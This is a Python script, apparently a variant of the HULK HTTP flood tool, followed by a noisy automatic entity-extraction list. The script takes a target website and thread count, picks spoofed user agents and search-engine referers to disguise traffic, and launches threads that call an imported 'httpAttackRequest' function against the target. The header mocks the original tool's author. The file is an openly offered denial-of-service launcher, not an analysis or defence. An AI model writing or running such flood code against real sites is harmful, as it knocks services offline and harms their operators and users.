code: """
  HTTP UNBEARBALE LOAD QUEEN
  A HULK EDIT BY @OBN0XIOUS
  THE ORIGINAL MAKER OF HULK PLEASE GO BACK TO CODECADEMY
  """
  
  import sys
  import argparse
  import random
  from threading import Thread
  
  import hulqThreading
  import hulqRequest
  
  parser = argparse.ArgumentParser()
  parser.add_argument('--threads', '-t', default=2, help='Choose how many threads.')
  parser.add_argument('--website', '-w', help='Website you are attacking.')
  systemArguments = parser.parse_args()
  
  if not systemArguments.website:
  	sys.exit("Provide -w or --website.")
  
  userAgents = \
  	(
  	'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:127.0.0.1 Gecko/20090913 Firefox/3.5.3', \
  	'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:127.0.0.1 Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729', \
  	'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:127.0.0.1 Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729', \
  	'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:127.0.0.1 Gecko/20090718 Firefox/3.5.1', \
  	'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US AppleWebKit/532.1 (KHTML, \ like Gecko Chrome/4.0.219.6 Safari/532.1', \
  	'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2', \
  	'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729', \
  	'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0', \
  	'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2', \
  	'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US', \
  	'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP', \
  	'Opera/9.80 (Windows NT 5.2; U; ru Presto/2.5.22 Version/10.51'	
  	)
  
  
  referers = \
  	(
  		'http://www.google.com/?q=', \
  		'http://www.usatoday.com/search/results?q=', \
  		'http://engadget.search.aol.com/search?q='
  		)
  
  
  
  for i in range(0, int(systemArguments.threads)):
  	referer = random.choice(referers)
  	userAgent = random.choice(userAgents)
  	t1 = Thread(target = hulqRequest.httpAttackRequest, args = (systemArguments.website, userAgent, referer))
  	t1.start()
  
entities: [['LOCATION', "help='Choose"], ['URL', 'parser.ad'], ['URL', 'parser.pa'], ['PERSON', 'Mozilla/5.0'], ['PERSON', 'Mozilla/5.0'], ['PERSON', 'Firefox/3.5.3'], ['PERSON', 'Mozilla/5.0'], ['PERSON', 'Firefox/3.5.3'], ['PERSON', 'Mozilla/5.0'], ['LOCATION', 'US'], ['PERSON', 'Mozilla/5.0'], ['PERSON', 'Mozilla/4.0'], ['PERSON', 'Mozilla/4.0'], ['PERSON', 'Mozilla/4.0'], ['PERSON', 'Mozilla/4.0'], ['PERSON', 'Mozilla/5.0'], ['PERSON', 'Mozilla/4.0'], ['URL', 't1.st'], ['IP_ADDRESS', '127.0.0.1'], ['IP_ADDRESS', '127.0.0.1'], ['IP_ADDRESS', '127.0.0.1'], ['IP_ADDRESS', '127.0.0.1'], ['IP_ADDRESS', '4.0.219.6'], ['DATE_TIME', '1.1.4322'], ['DATE_TIME', '2.5.22'], ['URL', "http://www.google.com/?q=',"], ['URL', "http://www.usatoday.com/search/results?q=',"], ['URL', "http://engadget.search.aol.com/search?q='"], ['URL', 'argparse.Ar'], ['URL', 'parser.ad'], ['URL', 'systemArguments.th'], ['URL', 'random.ch'], ['URL', 'random.ch'], ['URL', 'hulqRequest.ht']]